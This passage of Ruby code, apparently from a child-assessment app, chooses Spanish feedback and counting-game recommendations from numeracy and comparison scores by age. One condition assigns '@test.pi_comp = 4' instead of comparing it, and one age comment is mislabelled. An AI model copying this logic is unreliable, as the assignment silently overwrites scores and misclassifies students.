corrija.\\n\\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\\n\\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\\n\\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\\n\\\"\\n\\nelsif @test.edad.between?(60, 65) && @test.pi_num.between?(8, 10) then\\n @f = \\\"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números.\\n\\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\\n\\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\\n\\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\\n\\\"\\n\\nelsif @test.edad.between?(60, 65) && @test.pi_num < 8 then\\n @f = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. \\n\\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\\n\\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\\n\\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\\n\\\"\\n\\n# 72 a 77\\n\\nelsif @test.edad.between?(66, 71) && @test.pi_num > 14 then\\n @f = \\\"El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\\n\\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\\n\\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\\n\\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\\n\\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\\n\\\"\\n\\nelsif @test.edad.between?(66, 71) && @test.pi_num.between?(10, 14) then\\n @f = \\\"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números.\\n\\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\\n\\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\\n\\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\\n\\\"\\n\\nelsif @test.edad.between?(66, 71) && @test.pi_num < 10 then\\n @f = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. \\n\\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\\n\\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\\n\\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\\n\\\"\\n\\n# 72 a 77 \\n\\nelsif @test.edad.between?(72, 77) && @test.pi_num > 16 then\\n @f = \\\"El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\\n\\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\\n\\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\\n\\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9 o más, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\\n\\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\\n\\\"\\n\\nelsif @test.edad.between?(72, 77) && @test.pi_num.between?(13, 16) then\\n @f = \\\"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\\n\\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\\n\\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\\n\\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9 o más, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\\n\\\"\\n\\nelsif @test.edad.between?(72, 77) && @test.pi_num < 13 then\\n @f = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n \\n\\n * Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. \\n \\n * Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\\n \\n * Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\\n \\n * Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\\n\\\"\\n\\n\\n# 78 a 83\\n\\nelsif @test.edad.between?(78, 83) && @test.pi_num > 17 then\\n @f = \\\"El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\\n\\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\\n\\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\\n\\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9 o más, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\\n\\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\\n\\\"\\n\\nelsif @test.edad.between?(78, 83) && @test.pi_num.between?(15, 17) then\\n @f = \\\"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\\n\\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\\n\\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\\n\\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9 o más, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\\n\\\"\\n\\nelsif @test.edad.between?(78, 83) && @test.pi_num < 15 then\\n @f = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n \\n\\n * Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. \\n \\n * Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\\n \\n * Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\\n \\n * Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\\n\\\"\\n\\n\\n# 84 a 95\\n\\nelsif @test.edad.between?(84, 95) && @test.pi_num > 18 then\\n @f = \\\"El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…). \\n\\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\\n\\n* Practicar secuencias de conteo con un patrón establecido, de 4 en 4, de 6 en 6, etc.\\n\\\"\\n\\nelsif @test.edad.between?(84, 95) && @test.pi_num.between?(16, 18) then\\n @f = \\\"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…). \\n\\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\\n\\n* Practicar secuencias de conteo con un patrón establecido, de 4 en 4, de 6 en 6, etc.\\n\\\"\\n\\nelsif @test.edad.between?(84, 95) && @test.pi_num < 16 then\\n @f = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\\n\\n* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…). \\n\\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\\n\\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\\n\\\"\\n\\n\\n\\n# 96 a 101\\n\\nelsif @test.edad.between?(96, 101) && @test.pi_num > 19 then\\n @f = \\\"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…). \\n\\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\\n\\n* Practicar secuencias de conteo con un patrón establecido, de 4 en 4, de 6 en 6, etc.\\n\\\"\\n\\nelsif @test.edad.between?(96, 101) && @test.pi_num < 20 then\\n @f = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\\n\\n* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…). \\n\\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\\n\\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\\n\\\"\\nend\\n\\n# Comparación de cantidades\\n\\n# 60 a 71\\n\\nif @test.edad.between?(60, 71) && @test.pi_comp > 3 then\\n @g= \\\"El/la estudiante ha adquirido las habilidades de comparación de cantidades por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante.\\n\\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. \\n\\\"\\n\\nelsif @test.edad.between?(60, 71) && @test.pi_comp.between?(2, 3) then\\n @g = \\\"El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Los objetos pueden alinearse uno al lado del otro, de esta manera, el estudiante puede aprender que la colección a la que le “sobra algo”, al ponerla en relación por correspondencia uno a uno, es la que tiene “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente.\\n\\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. \\n\\\"\\n\\nelsif @test.edad.between?(60, 71) && @test.pi_comp < 2 then\\n @g = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Los objetos pueden alinearse uno al lado del otro, de esta manera, el estudiante puede aprender que la colección a la que le “sobra algo”, al ponerla en relación por correspondencia uno a uno, es la que tiene “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente.\\n\\\"\\n\\n\\n# 72 a 77 \\n\\nelsif @test.edad.between?(72, 77) && @test.pi_comp > 4 then\\n @g= \\\"El/la estudiante ha adquirido las habilidades de comparación de cantidades por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.\\n\\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. Una vez que el niño se haya familiarizado con esto, debería pasar a trabajar con números del 1 al 100. \\n\\\"\\n\\nelsif @test.edad.between?(72, 77) && @test.pi_comp = 4 then\\n @g = \\\"El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.\\n\\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. Una vez que el niño se haya familiarizado con esto, debería pasar a trabajar con números del 1 al 100. \\n\\\"\\n\\nelsif @test.edad.between?(72, 77) && @test.pi_comp < 4 then\\n @g = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Los objetos pueden alinearse uno al lado del otro, de esta manera, el estudiante puede aprender que la colección a la que le “sobra algo”, al ponerla en relación por correspondencia uno a uno, es la que tiene “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente.\\n\\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental.\\n\\\"\\n\\n\\n# 78 a83\\n\\nelsif @test.edad.between?(78, 83) && @test.pi_comp > 3 then\\n @g= \\\"El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.\\n\\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. Una vez que el niño se haya familiarizado con esto, debería pasar a trabajar con números del 1 al 100. \\n\\\"\\n\\nelsif @test.edad.between?(78, 83) && @test.pi_comp < 4 then\\n @g = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Los objetos pueden alinearse uno al lado del otro, de esta manera, el estudiante puede aprender que la colección a la que le “sobra algo”, al ponerla en relación por correspondencia uno a uno, es la que tiene “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente.\\n\\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental.\\n\\\"\\n\\n\\n# 84 a 95\\n\\nelsif @test.edad.between?(84, 95) && @test.pi_comp > 3 then\\n @g= \\\"El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Presentar al niño el juego “desapareciendo números”, el cual consiste en representar números del 1 al 10 como una escalera de bloques. Cada bloque puede representar un grupo de 10, de manera que los números implicados sean ahora el 10, 20, 30,... 100. Esto le permite al niño de manera gráfica saber “lo lejos” que están los números entre sí y permite calcular la distancia con facilidad. El siguiente paso supone considerar el conjunto global de números entre el 1 y el 100. Para esto se puede utilizar un metro. El niño tiene que llegar a valorar las distancias relativas entre varias posiciones en el metro. \\n\\\"\\n\\nelsif @test.edad.between?(84, 95) && @test.pi_comp < 4 then\\n @g = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.\\n\\n* Presentar al niño el juego “desapareciendo números”, el cual consiste en representar números del 1 al 10 como una escalera de bloques. Cada bloque puede representar un grupo de 10, de manera que los números implicados sean ahora el 10, 20, 30,... 100. Esto le permite al niño de manera gráfica saber “lo lejos” que están los números entre sí y permite calcular la distancia con facilidad. \\n\\\"\\n\\n\\n# 96 a 101\\n\\nelsif @test.edad.between?(96, 101) && @test.pi_comp > 4 then\\n @g= \\\"El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Presentar al niño el juego “desapareciendo números”, el cual consiste en representar números del 1 al 10 como una escalera de bloques. Cada bloque puede representar un grupo de 10, de manera que los números implicados sean ahora el 10, 20, 30,... 100. Esto le permite al niño de manera gráfica saber “lo lejos” que están los números entre sí y permite calcular la distancia con facilidad. El siguiente paso supone considerar el conjunto global de números entre el 1 y el 100. Para esto se puede utilizar un metro. El niño tiene que llegar a valorar las distancias relativas entre varias posiciones en el metro. \\n\\\"\\n\\n\\nelsif @test.edad.between?(96, 101) && @test.pi_comp < 5 then\\n @g = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.\\n\\n* Presentar al niño el juego “desapareciendo números”, el cual consiste en representar números del 1 al 10 como una escalera de bloques. Cada bloque puede representar un grupo de 10, de manera que los números implicados sean ahora el 10, 20, 30,... 100. Esto le permite al niño de manera gráfica saber “lo lejos” que están los números entre sí y permite calcular la distancia con facilidad. \\n\\\"\\n 